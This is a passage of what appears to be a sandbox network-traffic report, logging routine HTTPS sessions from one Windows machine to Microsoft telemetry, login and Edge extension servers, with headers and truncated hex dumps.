2024-11-27 15:35:04 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153504Z-174f7845968kdththC1EWRzvxn00000009gg0000000085sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	49919	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:03 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-27 15:35:03 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:35:04 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:34:04 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: 4fa6c1da-1448-4417-b8e2-0537df9f4da6 PPServer: PPV: 30 H: PH1PEPF0001B88B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:35:03 GMT Connection: close Content-Length: 1918
2024-11-27 15:35:04 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	49921	104.208.16.90	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:03 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732728801297&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5248 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1; msnup=
2024-11-27 15:35:03 UTC	5248	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 37 3a 33 33 3a 32 31 2e 32 39 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 31 33 30 39 31 35 36 2d 32 65 63 38 2d 34 36 65 32 2d 62 36 65 61 2d 36 38 32 62 36 30 32 30 34 63 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 37 32 34 34 33 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-27T17:33:21.296Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"d1309156-2ec8-46e2-b6ea-682b60204c68","epoch":"357244319"},"app":{"locale"
2024-11-27 15:35:04 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e06538cec45542099eb9c8776395e6c2&HASH=e065&LV=202411&V=4&LU=1732721704297; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 15:35:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=61cac346604847a2aedc552288090c5a; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 16:05:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: -7097000 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 15:35:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:03 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:04 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153504Z-174f7845968zgtf6hC1EWRqd8s0000000q0000000000nyey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:04 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:04 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 7e8f62d2-801e-0047-4379-407265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153504Z-174f78459685726chC1EWRsnbg0000000x5000000000fhns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	49924	104.208.16.90	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:04 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732728801381&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9622 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1; msnup=
2024-11-27 15:35:04 UTC	9622	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 37 3a 33 33 3a 32 31 2e 33 38 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 31 33 30 39 31 35 36 2d 32 65 63 38 2d 34 36 65 32 2d 62 36 65 61 2d 36 38 32 62 36 30 32 30 34 63 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 37 32 34 34 33 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-27T17:33:21.380Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"d1309156-2ec8-46e2-b6ea-682b60204c68","epoch":"357244319"},"app":{"loca
2024-11-27 15:35:04 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=feec3f40a7124bd39004ab7be0cb1705&HASH=feec&LV=202411&V=4&LU=1732721704686; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 15:35:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=323cf5ab46104a0cbf1594d78dcfa95f; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 16:05:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: -7096695 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 15:35:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:04 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153504Z-174f7845968kdththC1EWRzvxn00000009d000000000mf5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	49926	152.195.19.97	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:04 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733326483&P2=404&P3=2&P4=U3B%2bHWwXCX58AA8OwSxmm0snAZHgK%2fx3FNJVHG9vK%2biyz4Is6vLppT66Jmqb2drGHI9svjU6ShSUWK609Zal9A%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: Zz3WU/xjesE1yjRRDKBq63 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:35:05 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12648235 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Wed, 27 Nov 2024 15:35:04 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-27 15:35:05 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	49925	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:04 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-27 15:35:04 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:35:05 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:34:05 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_SN1 x-ms-request-id: 04a4266d-2669-46c1-a1e0-ef82861c013e PPServer: PPV: 30 H: SN1PEPF0002F022 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:35:04 GMT Connection: close Content-Length: 11389
2024-11-27 15:35:05 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 